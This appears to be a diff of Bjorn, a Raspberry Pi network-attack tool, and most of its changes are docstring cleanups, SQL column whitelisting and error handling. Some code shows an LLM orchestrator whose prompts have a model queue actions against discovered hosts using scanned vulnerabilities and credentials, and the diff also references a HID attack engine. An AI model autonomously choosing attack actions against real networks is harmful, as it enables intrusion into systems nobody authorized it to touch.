|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/services.py
|
"""services.py - Per-port service fingerprinting and tracking."""
|
||||||
# Per-port service fingerprinting and tracking operations
|
|
||||||
|
|
||||||
from typing import Dict, List, Optional
|
from typing import Dict, List, Optional
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/software.py
|
"""software.py - Detected software (CPE) inventory operations."""
|
||||||
# Detected software (CPE) inventory operations
|
|
||||||
|
|
||||||
from typing import List, Optional
|
from typing import List, Optional
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/stats.py
|
"""stats.py - Statistics tracking and display operations."""
|
||||||
# Statistics tracking and display operations
|
|
||||||
|
|
||||||
import time
|
import time
|
||||||
import sqlite3
|
import sqlite3
|
||||||
|
|||||||
@@ -1,11 +1,12 @@
|
|||||||
# db_utils/studio.py
|
"""studio.py - Actions Studio visual editor operations."""
|
||||||
# Actions Studio visual editor operations
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
|
import re
|
||||||
from typing import Dict, List, Optional
|
from typing import Dict, List, Optional
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from logger import Logger
|
from logger import Logger
|
||||||
|
from db_utils.base import _validate_identifier
|
||||||
|
|
||||||
logger = Logger(name="db_utils.studio", level=logging.DEBUG)
|
logger = Logger(name="db_utils.studio", level=logging.DEBUG)
|
||||||
|
|
||||||
@@ -105,13 +106,27 @@ class StudioOps:
|
|||||||
ORDER BY b_priority DESC, b_class
|
ORDER BY b_priority DESC, b_class
|
||||||
""")
|
""")
|
||||||
|
|
||||||
|
# Whitelist of columns that can be updated via the studio API
|
||||||
|
_STUDIO_UPDATABLE = frozenset({
|
||||||
|
'b_priority', 'studio_x', 'studio_y', 'studio_locked', 'studio_color',
|
||||||
|
'studio_metadata', 'b_trigger', 'b_requires', 'b_enabled', 'b_timeout',
|
||||||
|
'b_max_retries', 'b_cooldown', 'b_rate_limit', 'b_service', 'b_port',
|
||||||
|
'b_stealth_level', 'b_risk_level', 'b_tags', 'b_parent', 'b_action',
|
||||||
|
})
|
||||||
|
|
||||||
def update_studio_action(self, b_class: str, updates: dict):
|
def update_studio_action(self, b_class: str, updates: dict):
|
||||||
"""Update a studio action"""
|
"""Update a studio action"""
|
||||||
sets = []
|
sets = []
|
||||||
params = []
|
params = []
|
||||||
for key, value in updates.items():
|
for key, value in updates.items():
|
||||||
|
_validate_identifier(key, "column name")
|
||||||
|
if key not in self._STUDIO_UPDATABLE:
|
||||||
|
logger.warning(f"Ignoring unknown studio column: {key}")
|
||||||
|
continue
|
||||||
sets.append(f"{key} = ?")
|
sets.append(f"{key} = ?")
|
||||||
params.append(value)
|
params.append(value)
|
||||||
|
if not sets:
|
||||||
|
return
|
||||||
params.append(b_class)
|
params.append(b_class)
|
||||||
|
|
||||||
self.base.execute(f"""
|
self.base.execute(f"""
|
||||||
@@ -313,7 +328,9 @@ class StudioOps:
|
|||||||
if col == "b_class":
|
if col == "b_class":
|
||||||
continue
|
continue
|
||||||
if col not in stu_cols:
|
if col not in stu_cols:
|
||||||
|
_validate_identifier(col, "column name")
|
||||||
col_type = act_col_defs.get(col, "TEXT") or "TEXT"
|
col_type = act_col_defs.get(col, "TEXT") or "TEXT"
|
||||||
|
_validate_identifier(col_type.split()[0], "column type")
|
||||||
self.base.execute(f"ALTER TABLE actions_studio ADD COLUMN {col} {col_type};")
|
self.base.execute(f"ALTER TABLE actions_studio ADD COLUMN {col} {col_type};")
|
||||||
|
|
||||||
# 3) Insert missing b_class entries, non-destructive
|
# 3) Insert missing b_class entries, non-destructive
|
||||||
@@ -326,6 +343,7 @@ class StudioOps:
|
|||||||
for col in act_cols:
|
for col in act_cols:
|
||||||
if col == "b_class":
|
if col == "b_class":
|
||||||
continue
|
continue
|
||||||
|
_validate_identifier(col, "column name")
|
||||||
# Only update if the studio value is NULL
|
# Only update if the studio value is NULL
|
||||||
self.base.execute(f"""
|
self.base.execute(f"""
|
||||||
UPDATE actions_studio
|
UPDATE actions_studio
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/vulnerabilities.py
|
"""vulnerabilities.py - Vulnerability tracking and CVE metadata operations."""
|
||||||
# Vulnerability tracking and CVE metadata operations
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import time
|
import time
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/webenum.py
|
"""webenum.py - Web enumeration and directory/file discovery operations."""
|
||||||
# Web enumeration (directory/file discovery) operations
|
|
||||||
|
|
||||||
from typing import Any, Dict, List, Optional
|
from typing import Any, Dict, List, Optional
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
"""debug_schema.py - Dump RL table schemas to schema_debug.txt for quick inspection."""
|
||||||
|
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import os
|
import os
|
||||||
|
|||||||
@@ -1,7 +1,4 @@
|
|||||||
# display.py
|
"""display.py - E-paper display renderer and web screenshot generator."""
|
||||||
# Core component for managing the E-Paper Display (EPD) and Web Interface Screenshot
|
|
||||||
# OPTIMIZED FOR PI ZERO 2: Asynchronous Rendering, Text Caching, and I/O Throttling.
|
|
||||||
# FULL VERSION - NO LOGIC REMOVED
|
|
||||||
|
|
||||||
import math
|
import math
|
||||||
import threading
|
import threading
|
||||||
@@ -704,7 +701,7 @@ class Display:
|
|||||||
break
|
break
|
||||||
|
|
||||||
def _draw_system_histogram(self, image: Image.Image, draw: ImageDraw.Draw):
|
def _draw_system_histogram(self, image: Image.Image, draw: ImageDraw.Draw):
|
||||||
# Vertical bars at the bottom-left — positions from layout
|
# Vertical bars at the bottom-left - positions from layout
|
||||||
mem_hist = self.layout.get('mem_histogram')
|
mem_hist = self.layout.get('mem_histogram')
|
||||||
cpu_hist = self.layout.get('cpu_histogram')
|
cpu_hist = self.layout.get('cpu_histogram')
|
||||||
|
|
||||||
@@ -1026,7 +1023,7 @@ class Display:
|
|||||||
self._comment_layout_cache["key"] != key or
|
self._comment_layout_cache["key"] != key or
|
||||||
(now - self._comment_layout_cache["ts"]) >= self._comment_layout_min_interval
|
(now - self._comment_layout_cache["ts"]) >= self._comment_layout_min_interval
|
||||||
):
|
):
|
||||||
# J'ai aussi augmenté la largeur disponible (width - 2) puisque l'on se colle au bord
|
# Use (width - 2) since text hugs the edge
|
||||||
lines = self.shared_data.wrap_text(
|
lines = self.shared_data.wrap_text(
|
||||||
self.shared_data.bjorn_says,
|
self.shared_data.bjorn_says,
|
||||||
self.shared_data.font_arialbold,
|
self.shared_data.font_arialbold,
|
||||||
|
|||||||
@@ -1,7 +1,5 @@
|
|||||||
"""
|
"""display_layout.py - Data-driven layout definitions for multi-size e-paper displays."""
|
||||||
Display Layout Engine for multi-size EPD support.
|
|
||||||
Provides data-driven layout definitions per display model.
|
|
||||||
"""
|
|
||||||
import json
|
import json
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -1,11 +1,4 @@
|
|||||||
"""
|
"""epd_manager.py - Singleton wrapper around Waveshare EPD drivers with serialized SPI access."""
|
||||||
EPD Manager - singleton wrapper around Waveshare drivers.
|
|
||||||
Hardened for runtime stability:
|
|
||||||
- no per-operation worker-thread timeouts (prevents leaked stuck SPI threads)
|
|
||||||
- serialized SPI access
|
|
||||||
- bounded retry + recovery
|
|
||||||
- health metrics for monitoring
|
|
||||||
"""
|
|
||||||
|
|
||||||
import importlib
|
import importlib
|
||||||
import threading
|
import threading
|
||||||
|
|||||||
@@ -1,22 +1,4 @@
|
|||||||
"""
|
"""feature_logger.py - Auto-capture action execution features for deep learning training."""
|
||||||
feature_logger.py - Dynamic Feature Logging Engine for Bjorn
|
|
||||||
═══════════════════════════════════════════════════════════════════════════
|
|
||||||
|
|
||||||
Purpose:
|
|
||||||
Automatically capture ALL relevant features from action executions
|
|
||||||
for deep learning model training. No manual feature declaration needed.
|
|
||||||
|
|
||||||
Architecture:
|
|
||||||
- Automatic feature extraction from all data sources
|
|
||||||
- Time-series aggregation
|
|
||||||
- Network topology features
|
|
||||||
- Action success patterns
|
|
||||||
- Lightweight storage optimized for Pi Zero
|
|
||||||
- Export format ready for deep learning
|
|
||||||
|
|
||||||
Author: Bjorn Team (Enhanced AI Version)
|
|
||||||
Version: 2.0.0
|
|
||||||
"""
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import time
|
import time
|
||||||
@@ -220,6 +202,7 @@ class FeatureLogger:
|
|||||||
'success': success,
|
'success': success,
|
||||||
'timestamp': time.time()
|
'timestamp': time.time()
|
||||||
})
|
})
|
||||||
|
if len(self.host_history) > 1000:
|
||||||
self._prune_host_history()
|
self._prune_host_history()
|
||||||
|
|
||||||
logger.debug(
|
logger.debug(
|
||||||
|
|||||||
@@ -1,13 +1,8 @@
|
|||||||
#init_shared.py
|
"""init_shared.py - Global singleton for shared state; import shared_data from here."""
|
||||||
# Description:
|
|
||||||
# This file, init_shared.py, is responsible for initializing and providing access to shared data across different modules in the Bjorn project.
|
|
||||||
#
|
|
||||||
# Key functionalities include:
|
|
||||||
# - Importing the `SharedData` class from the `shared` module.
|
|
||||||
# - Creating an instance of `SharedData` named `shared_data` that holds common configuration, paths, and other resources.
|
|
||||||
# - Ensuring that all modules importing `shared_data` will have access to the same instance, promoting consistency and ease of data management throughout the project.
|
|
||||||
|
|
||||||
|
|
||||||
from shared import SharedData
|
from shared import SharedData
|
||||||
|
|
||||||
|
# Module-level initialization is thread-safe in CPython: the import lock
|
||||||
|
# guarantees that this module body executes at most once, even when multiple
|
||||||
|
# threads import it concurrently (see importlib._bootstrap._ModuleLock).
|
||||||
shared_data = SharedData()
|
shared_data = SharedData()
|
||||||
|
|||||||
@@ -1,15 +1,4 @@
|
|||||||
# land_protocol.py
|
"""land_protocol.py - LAND protocol client: mDNS discovery + HTTP inference for local AI nodes."""
|
||||||
# Python client for the LAND Protocol (Local AI Network Discovery).
|
|
||||||
# https://github.com/infinition/land-protocol
|
|
||||||
#
|
|
||||||
# Replace this file to update LAND protocol compatibility.
|
|
||||||
# Imported by llm_bridge.py — no other Bjorn code touches this.
|
|
||||||
#
|
|
||||||
# Protocol summary:
|
|
||||||
# Discovery : mDNS service type _ai-inference._tcp.local. (port 5353)
|
|
||||||
# Transport : TCP HTTP on port 8419 by default
|
|
||||||
# Infer : POST /infer {"prompt": str, "capability": "llm", "max_tokens": int}
|
|
||||||
# Response : {"response": str} or {"text": str}
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import threading
|
import threading
|
||||||
@@ -43,11 +32,11 @@ def discover_node(
|
|||||||
except ImportError:
|
except ImportError:
|
||||||
if logger:
|
if logger:
|
||||||
logger.warning(
|
logger.warning(
|
||||||
"zeroconf not installed — LAND mDNS discovery disabled. "
|
"zeroconf not installed - LAND mDNS discovery disabled. "
|
||||||
"Run: pip install zeroconf"
|
"Run: pip install zeroconf"
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
print("[LAND] zeroconf not installed — mDNS discovery disabled")
|
print("[LAND] zeroconf not installed - mDNS discovery disabled")
|
||||||
return
|
return
|
||||||
|
|
||||||
class _Listener(ServiceListener):
|
class _Listener(ServiceListener):
|
||||||
|
|||||||
@@ -1,9 +1,7 @@
|
|||||||
# llm_bridge.py
|
"""llm_bridge.py - LLM backend cascade: LAND/LaRuche -> Ollama -> external API -> fallback."""
|
||||||
# LLM backend cascade for Bjorn.
|
|
||||||
# Priority: LaRuche (LAND/mDNS) → Ollama local → External API → None (template fallback)
|
|
||||||
# All external deps are optional — graceful degradation at every level.
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
|
import socket
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
import urllib.request
|
import urllib.request
|
||||||
@@ -17,7 +15,7 @@ logger = Logger(name="llm_bridge.py", level=20) # INFO
|
|||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# Tool definitions (Anthropic Messages API format).
|
# Tool definitions (Anthropic Messages API format).
|
||||||
# Mirrors the tools exposed by mcp_server.py — add new tools here too.
|
# Mirrors the tools exposed by mcp_server.py - add new tools here too.
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
_BJORN_TOOLS: List[Dict] = [
|
_BJORN_TOOLS: List[Dict] = [
|
||||||
{
|
{
|
||||||
@@ -104,7 +102,7 @@ class LLMBridge:
|
|||||||
3. External API (Anthropic / OpenAI / OpenRouter)
|
3. External API (Anthropic / OpenAI / OpenRouter)
|
||||||
4. None → caller falls back to templates
|
4. None → caller falls back to templates
|
||||||
|
|
||||||
Singleton — one instance per process, thread-safe.
|
Singleton - one instance per process, thread-safe.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_instance: Optional["LLMBridge"] = None
|
_instance: Optional["LLMBridge"] = None
|
||||||
@@ -137,7 +135,7 @@ class LLMBridge:
|
|||||||
self._hist_lock = threading.Lock()
|
self._hist_lock = threading.Lock()
|
||||||
self._ready = True
|
self._ready = True
|
||||||
|
|
||||||
# Always start mDNS discovery — even if LLM is disabled.
|
# Always start mDNS discovery - even if LLM is disabled.
|
||||||
# This way LaRuche URL is ready the moment the user enables LLM.
|
# This way LaRuche URL is ready the moment the user enables LLM.
|
||||||
if self._cfg("llm_laruche_discovery", True):
|
if self._cfg("llm_laruche_discovery", True):
|
||||||
self._start_laruche_discovery()
|
self._start_laruche_discovery()
|
||||||
@@ -241,11 +239,11 @@ class LLMBridge:
|
|||||||
logger.info(f"LLM response from [{b}] (len={len(result)})")
|
logger.info(f"LLM response from [{b}] (len={len(result)})")
|
||||||
return result
|
return result
|
||||||
else:
|
else:
|
||||||
logger.warning(f"LLM backend [{b}] returned empty response — skipping")
|
logger.warning(f"LLM backend [{b}] returned empty response - skipping")
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.warning(f"LLM backend [{b}] failed: {exc}")
|
logger.warning(f"LLM backend [{b}] failed: {exc}")
|
||||||
|
|
||||||
logger.debug("All LLM backends failed — returning None (template fallback)")
|
logger.debug("All LLM backends failed - returning None (template fallback)")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def generate_comment(
|
def generate_comment(
|
||||||
@@ -278,7 +276,7 @@ class LLMBridge:
|
|||||||
[{"role": "user", "content": prompt}],
|
[{"role": "user", "content": prompt}],
|
||||||
max_tokens=int(self._cfg("llm_comment_max_tokens", 80)),
|
max_tokens=int(self._cfg("llm_comment_max_tokens", 80)),
|
||||||
system=system,
|
system=system,
|
||||||
timeout=8, # Short timeout for EPD — fall back fast
|
timeout=8, # Short timeout for EPD - fall back fast
|
||||||
)
|
)
|
||||||
|
|
||||||
def chat(
|
def chat(
|
||||||
@@ -288,7 +286,7 @@ class LLMBridge:
|
|||||||
system: Optional[str] = None,
|
system: Optional[str] = None,
|
||||||
) -> Optional[str]:
|
) -> Optional[str]:
|
||||||
"""
|
"""
|
||||||
Stateful chat with Bjorn — maintains conversation history per session.
|
Stateful chat with Bjorn - maintains conversation history per session.
|
||||||
"""
|
"""
|
||||||
if not self._is_enabled():
|
if not self._is_enabled():
|
||||||
return "LLM is disabled. Enable it in Settings → LLM Bridge."
|
return "LLM is disabled. Enable it in Settings → LLM Bridge."
|
||||||
@@ -420,8 +418,17 @@ class LLMBridge:
|
|||||||
headers={"Content-Type": "application/json"},
|
headers={"Content-Type": "application/json"},
|
||||||
method="POST",
|
method="POST",
|
||||||
)
|
)
|
||||||
|
try:
|
||||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||||
body = json.loads(resp.read().decode())
|
raw_bytes = resp.read().decode()
|
||||||
|
except (urllib.error.URLError, socket.timeout, ConnectionError, OSError) as e:
|
||||||
|
logger.warning(f"Ollama network error: {e}")
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
body = json.loads(raw_bytes)
|
||||||
|
except json.JSONDecodeError as e:
|
||||||
|
logger.warning(f"Ollama returned invalid JSON: {e}")
|
||||||
|
return None
|
||||||
return body.get("message", {}).get("content") or None
|
return body.get("message", {}).get("content") or None
|
||||||
|
|
||||||
# ------------------------------------------------------------------
|
# ------------------------------------------------------------------
|
||||||
@@ -481,8 +488,17 @@ class LLMBridge:
|
|||||||
|
|
||||||
data = json.dumps(payload).encode()
|
data = json.dumps(payload).encode()
|
||||||
req = urllib.request.Request(api_url, data=data, headers=headers, method="POST")
|
req = urllib.request.Request(api_url, data=data, headers=headers, method="POST")
|
||||||
|
try:
|
||||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||||
body = json.loads(resp.read().decode())
|
raw_bytes = resp.read().decode()
|
||||||
|
except (urllib.error.URLError, socket.timeout, ConnectionError, OSError) as e:
|
||||||
|
logger.warning(f"Anthropic network error: {e}")
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
body = json.loads(raw_bytes)
|
||||||
|
except json.JSONDecodeError as e:
|
||||||
|
logger.warning(f"Anthropic returned invalid JSON: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
stop_reason = body.get("stop_reason")
|
stop_reason = body.get("stop_reason")
|
||||||
content = body.get("content", [])
|
content = body.get("content", [])
|
||||||
@@ -541,11 +557,18 @@ class LLMBridge:
|
|||||||
if name == "get_status":
|
if name == "get_status":
|
||||||
return mcp_server._impl_get_status()
|
return mcp_server._impl_get_status()
|
||||||
if name == "run_action":
|
if name == "run_action":
|
||||||
|
action_name = inputs.get("action_name")
|
||||||
|
target_ip = inputs.get("target_ip")
|
||||||
|
if not action_name or not target_ip:
|
||||||
|
return json.dumps({"error": "run_action requires 'action_name' and 'target_ip'"})
|
||||||
return mcp_server._impl_run_action(
|
return mcp_server._impl_run_action(
|
||||||
inputs["action_name"], inputs["target_ip"], inputs.get("target_mac", "")
|
action_name, target_ip, inputs.get("target_mac", "")
|
||||||
)
|
)
|
||||||
if name == "query_db":
|
if name == "query_db":
|
||||||
return mcp_server._impl_query_db(inputs["sql"], inputs.get("params"))
|
sql = inputs.get("sql")
|
||||||
|
if not sql:
|
||||||
|
return json.dumps({"error": "query_db requires 'sql'"})
|
||||||
|
return mcp_server._impl_query_db(sql, inputs.get("params"))
|
||||||
return json.dumps({"error": f"Unknown tool: {name}"})
|
return json.dumps({"error": f"Unknown tool: {name}"})
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return json.dumps({"error": str(e)})
|
return json.dumps({"error": str(e)})
|
||||||
@@ -585,8 +608,17 @@ class LLMBridge:
|
|||||||
},
|
},
|
||||||
method="POST",
|
method="POST",
|
||||||
)
|
)
|
||||||
|
try:
|
||||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||||
body = json.loads(resp.read().decode())
|
raw_bytes = resp.read().decode()
|
||||||
|
except (urllib.error.URLError, socket.timeout, ConnectionError, OSError) as e:
|
||||||
|
logger.warning(f"OpenAI-compat network error: {e}")
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
body = json.loads(raw_bytes)
|
||||||
|
except json.JSONDecodeError as e:
|
||||||
|
logger.warning(f"OpenAI-compat returned invalid JSON: {e}")
|
||||||
|
return None
|
||||||
return body.get("choices", [{}])[0].get("message", {}).get("content") or None
|
return body.get("choices", [{}])[0].get("message", {}).get("content") or None
|
||||||
|
|
||||||
# ------------------------------------------------------------------
|
# ------------------------------------------------------------------
|
||||||
|
|||||||
@@ -1,18 +1,4 @@
|
|||||||
# llm_orchestrator.py
|
"""llm_orchestrator.py - LLM-driven scheduling layer (advisor or autonomous mode)."""
|
||||||
# LLM-based orchestration layer for Bjorn.
|
|
||||||
#
|
|
||||||
# Modes (llm_orchestrator_mode in config):
|
|
||||||
# none — disabled (default); LLM has no role in scheduling
|
|
||||||
# advisor — LLM reviews state periodically and injects ONE priority action
|
|
||||||
# autonomous — LLM runs its own agentic cycle, observes via MCP tools, queues actions
|
|
||||||
#
|
|
||||||
# Prerequisites: llm_enabled=True, llm_orchestrator_mode != "none"
|
|
||||||
#
|
|
||||||
# Guard rails:
|
|
||||||
# llm_orchestrator_allowed_actions — whitelist for run_action (empty = mcp_allowed_tools)
|
|
||||||
# llm_orchestrator_max_actions — hard cap on actions per autonomous cycle
|
|
||||||
# llm_orchestrator_interval_s — cooldown between autonomous cycles
|
|
||||||
# Falls back silently when LLM unavailable (no crash, no spam)
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import threading
|
import threading
|
||||||
@@ -32,8 +18,8 @@ class LLMOrchestrator:
|
|||||||
"""
|
"""
|
||||||
LLM-based orchestration layer.
|
LLM-based orchestration layer.
|
||||||
|
|
||||||
advisor mode — called from orchestrator background tasks; LLM suggests one action.
|
advisor mode - called from orchestrator background tasks; LLM suggests one action.
|
||||||
autonomous mode — runs its own thread; LLM loops with full tool-calling.
|
autonomous mode - runs its own thread; LLM loops with full tool-calling.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
@@ -58,7 +44,7 @@ class LLMOrchestrator:
|
|||||||
self._thread.start()
|
self._thread.start()
|
||||||
logger.info("LLM Orchestrator started (autonomous)")
|
logger.info("LLM Orchestrator started (autonomous)")
|
||||||
elif mode == "advisor":
|
elif mode == "advisor":
|
||||||
logger.info("LLM Orchestrator ready (advisor — called from background tasks)")
|
logger.info("LLM Orchestrator ready (advisor - called from background tasks)")
|
||||||
|
|
||||||
def stop(self) -> None:
|
def stop(self) -> None:
|
||||||
self._stop.set()
|
self._stop.set()
|
||||||
@@ -152,7 +138,7 @@ class LLMOrchestrator:
|
|||||||
system = (
|
system = (
|
||||||
"You are Bjorn's tactical advisor. Review the current network state "
|
"You are Bjorn's tactical advisor. Review the current network state "
|
||||||
"and suggest ONE action to queue, or nothing if the queue is sufficient. "
|
"and suggest ONE action to queue, or nothing if the queue is sufficient. "
|
||||||
"Reply ONLY with valid JSON — no markdown, no commentary.\n"
|
"Reply ONLY with valid JSON - no markdown, no commentary.\n"
|
||||||
'Format when action needed: {"action": "ActionName", "target_ip": "1.2.3.4", "reason": "brief"}\n'
|
'Format when action needed: {"action": "ActionName", "target_ip": "1.2.3.4", "reason": "brief"}\n'
|
||||||
'Format when nothing needed: {"action": null}\n'
|
'Format when nothing needed: {"action": null}\n'
|
||||||
"action must be exactly one of: " + ", ".join(allowed) + "\n"
|
"action must be exactly one of: " + ", ".join(allowed) + "\n"
|
||||||
@@ -197,7 +183,7 @@ class LLMOrchestrator:
|
|||||||
return None
|
return None
|
||||||
|
|
||||||
if action not in allowed:
|
if action not in allowed:
|
||||||
logger.warning(f"LLM advisor suggested disallowed action '{action}' — ignored")
|
logger.warning(f"LLM advisor suggested disallowed action '{action}' - ignored")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
target_ip = str(data.get("target_ip", "")).strip()
|
target_ip = str(data.get("target_ip", "")).strip()
|
||||||
@@ -226,7 +212,7 @@ class LLMOrchestrator:
|
|||||||
return action
|
return action
|
||||||
|
|
||||||
except json.JSONDecodeError:
|
except json.JSONDecodeError:
|
||||||
logger.debug(f"LLM advisor: invalid JSON: {raw[:200]}")
|
logger.warning(f"LLM advisor: invalid JSON response: {raw[:200]}")
|
||||||
return None
|
return None
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(f"LLM advisor apply error: {e}")
|
logger.debug(f"LLM advisor apply error: {e}")
|
||||||
@@ -243,7 +229,7 @@ class LLMOrchestrator:
|
|||||||
if self._is_llm_enabled() and self._mode() == "autonomous":
|
if self._is_llm_enabled() and self._mode() == "autonomous":
|
||||||
self._run_autonomous_cycle()
|
self._run_autonomous_cycle()
|
||||||
else:
|
else:
|
||||||
# Mode was switched off at runtime — stop thread
|
# Mode was switched off at runtime - stop thread
|
||||||
break
|
break
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"LLM autonomous cycle error: {e}")
|
logger.error(f"LLM autonomous cycle error: {e}")
|
||||||
@@ -255,7 +241,7 @@ class LLMOrchestrator:
|
|||||||
def _compute_fingerprint(self) -> tuple:
|
def _compute_fingerprint(self) -> tuple:
|
||||||
"""
|
"""
|
||||||
Compact state fingerprint: (hosts, vulns, creds, last_completed_queue_id).
|
Compact state fingerprint: (hosts, vulns, creds, last_completed_queue_id).
|
||||||
Only increases are meaningful — a host going offline is not an opportunity.
|
Only increases are meaningful - a host going offline is not an opportunity.
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
hosts = int(getattr(self._sd, "target_count", 0))
|
hosts = int(getattr(self._sd, "target_count", 0))
|
||||||
@@ -385,7 +371,7 @@ class LLMOrchestrator:
|
|||||||
real_ips = snapshot.get("VALID_TARGET_IPS", [])
|
real_ips = snapshot.get("VALID_TARGET_IPS", [])
|
||||||
ip_list_str = ", ".join(real_ips) if real_ips else "(no hosts discovered yet)"
|
ip_list_str = ", ".join(real_ips) if real_ips else "(no hosts discovered yet)"
|
||||||
|
|
||||||
# Short system prompt — small models forget long instructions
|
# Short system prompt - small models forget long instructions
|
||||||
system = (
|
system = (
|
||||||
"You are a network security orchestrator. "
|
"You are a network security orchestrator. "
|
||||||
"You receive network scan data and output a JSON array of actions. "
|
"You receive network scan data and output a JSON array of actions. "
|
||||||
@@ -496,11 +482,11 @@ class LLMOrchestrator:
|
|||||||
logger.debug(f"LLM autonomous: skipping invalid/disallowed action '{action}'")
|
logger.debug(f"LLM autonomous: skipping invalid/disallowed action '{action}'")
|
||||||
continue
|
continue
|
||||||
if not target_ip:
|
if not target_ip:
|
||||||
logger.debug(f"LLM autonomous: skipping '{action}' — no target_ip")
|
logger.debug(f"LLM autonomous: skipping '{action}' - no target_ip")
|
||||||
continue
|
continue
|
||||||
if not self._is_valid_ip(target_ip):
|
if not self._is_valid_ip(target_ip):
|
||||||
logger.warning(
|
logger.warning(
|
||||||
f"LLM autonomous: skipping '{action}' — invalid/placeholder IP '{target_ip}' "
|
f"LLM autonomous: skipping '{action}' - invalid/placeholder IP '{target_ip}' "
|
||||||
f"(LLM must use exact IPs from alive_hosts)"
|
f"(LLM must use exact IPs from alive_hosts)"
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
@@ -508,7 +494,7 @@ class LLMOrchestrator:
|
|||||||
mac = self._resolve_mac(target_ip)
|
mac = self._resolve_mac(target_ip)
|
||||||
if not mac:
|
if not mac:
|
||||||
logger.warning(
|
logger.warning(
|
||||||
f"LLM autonomous: skipping '{action}' @ {target_ip} — "
|
f"LLM autonomous: skipping '{action}' @ {target_ip} - "
|
||||||
f"IP not found in hosts table (LLM used an IP not in alive_hosts)"
|
f"IP not found in hosts table (LLM used an IP not in alive_hosts)"
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
@@ -535,7 +521,7 @@ class LLMOrchestrator:
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
except json.JSONDecodeError as e:
|
except json.JSONDecodeError as e:
|
||||||
logger.debug(f"LLM autonomous: JSON parse error: {e} — raw: {raw[:200]}")
|
logger.debug(f"LLM autonomous: JSON parse error: {e} - raw: {raw[:200]}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(f"LLM autonomous: action queue error: {e}")
|
logger.debug(f"LLM autonomous: action queue error: {e}")
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
# logger.py
|
"""logger.py - Rotating file + console logger with custom SUCCESS level."""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import threading
|
import threading
|
||||||
|
|||||||
@@ -1,21 +1,6 @@
|
|||||||
"""
|
"""__init__.py - Loki HID attack engine for Bjorn.
|
||||||
Loki — HID Attack Engine for Bjorn.
|
|
||||||
|
|
||||||
Manages USB HID gadget lifecycle, script execution, and job tracking.
|
Manages USB HID gadget lifecycle, HIDScript execution, and job tracking.
|
||||||
Named after the Norse trickster god.
|
|
||||||
|
|
||||||
Loki is the 5th exclusive operation mode (alongside MANUAL, AUTO, AI, BIFROST).
|
|
||||||
When active, the orchestrator stops and the Pi acts as a keyboard/mouse
|
|
||||||
to the connected host via /dev/hidg0 (keyboard) and /dev/hidg1 (mouse).
|
|
||||||
|
|
||||||
HID GADGET STRATEGY:
|
|
||||||
The HID functions (keyboard + mouse) are created ONCE at boot time alongside
|
|
||||||
RNDIS networking by the usb-gadget.sh script. This avoids the impossible task
|
|
||||||
of hot-adding HID functions to a running composite gadget (UDC rebind fails
|
|
||||||
with EIO when RNDIS is active).
|
|
||||||
|
|
||||||
LokiEngine simply opens/closes the /dev/hidg0 and /dev/hidg1 device files.
|
|
||||||
If /dev/hidg0 doesn't exist, the user needs to run the setup once and reboot.
|
|
||||||
"""
|
"""
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
@@ -27,7 +12,7 @@ from logger import Logger
|
|||||||
|
|
||||||
logger = Logger(name="loki", level=logging.DEBUG)
|
logger = Logger(name="loki", level=logging.DEBUG)
|
||||||
|
|
||||||
# USB HID report descriptors — EXACT byte-for-byte copies from P4wnP1_aloa
|
# USB HID report descriptors - EXACT byte-for-byte copies from P4wnP1_aloa
|
||||||
# Source: P4wnP1_aloa-master/service/SubSysUSB.go lines 54-70
|
# Source: P4wnP1_aloa-master/service/SubSysUSB.go lines 54-70
|
||||||
#
|
#
|
||||||
# These are written to the gadget at boot time by usb-gadget.sh.
|
# These are written to the gadget at boot time by usb-gadget.sh.
|
||||||
